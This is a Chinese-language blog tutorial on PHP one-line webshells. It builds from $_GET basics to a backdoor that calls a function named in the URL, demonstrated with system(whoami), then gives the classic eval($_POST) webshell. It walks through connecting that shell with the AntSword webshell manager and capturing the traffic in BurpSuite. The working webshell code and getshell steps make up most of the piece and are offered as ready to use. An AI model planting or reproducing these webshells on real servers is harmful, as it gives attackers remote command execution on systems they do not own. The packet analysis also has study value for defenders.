抓包分析php一句话木马
在回答一句话木马是怎么玩的之前,先从最简单的_GET开始_GET(PHP数组)_GET是一个数组_GET的作用域是超全局,不需在脚本内部定义或初始化,即可使用接收从浏览器客户端GET方式(URL中)传递到服务器的参数GET传参的参数名做_GET数组的key,参数值做为数组的valueGET传参时,直接将参数拼接到URL中即可举个例子来说明_GET是怎么玩的<pre>#标准化输出<
在回答一句话木马是怎么玩的之前,先从最简单的_GET
来认识一下
关于一句话木马,其他角度的学习,推荐阅读
Web安全-一句话木马
从wireshark了解蚁剑的工作原理
_GET(PHP数组)
_GET
是一个数组_GET
的作用域是超全局,不需在脚本内部定义或初始化,即可使用- 接收从浏览器客户端GET方式(URL中)传递到服务器的参数
- GET传参的参数名做
_GET
数组的key
,参数值做为数组的value
- GET传参时,直接将参数拼接到URL中即可
举个例子来说明_GET
是怎么玩的
<pre> #标准化输出
<?php
$name="alice"; #初始化一个变量
echo "Your name is {$_GET['name']} " #输出
?>
直接访问是会出错的,因为我并没有给name传参
通过给name传参来查看返回结果(上述第三条内容)
后门
能看明白上面的内容,就来看一个简单的后门
<pre>
<?php
$_GET['a']($_GET['b']);
?>
直接访问是会出错的
通过给a,b传参来查看返回结果
此时就已经创建了一个简单的后门,我可以在里面执行命令了。
把URL里面的参数翻译一下就是用php执行命令:system(whoami)
一句话木马
再看一个很简单的一句话木马
<?php @eval($_POST['777']) ?>
@
表示忽略报错eval
表示把字符串当作php代码执行_POST
是通过POST方法接收参数,这里选择POST是因为我一会需要使用中国蚁剑getshell,而中国蚁剑是POST传参的777
是传参的地方,相当于前面“后门”中的b,这里的777
又被称作webshell管理工具的“密码”
getshell
正常情况下浏览器这边没有返回结果是正常的,接下来连接蚁剑
抓包分析
BurpSuite
1:中国蚁剑走本地8080端口(BurpSuite的监听端口),选择“保存”的时候蚁剑会提示重启,照做就行
2:BurpSuite关闭截断
3:在蚁剑中点开“虚拟终端”,然后随便输入一些命令
3:检查数据包
第一条请求和应答数据包
第二条请求和应答数据包
流量是怎么走的,在数据包里面可以看到,这里由于作者不甚熟知php,所以还不能完整解释语句是怎样拼接的,但可以确定是通过拼接成php命令的方式去执行的。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)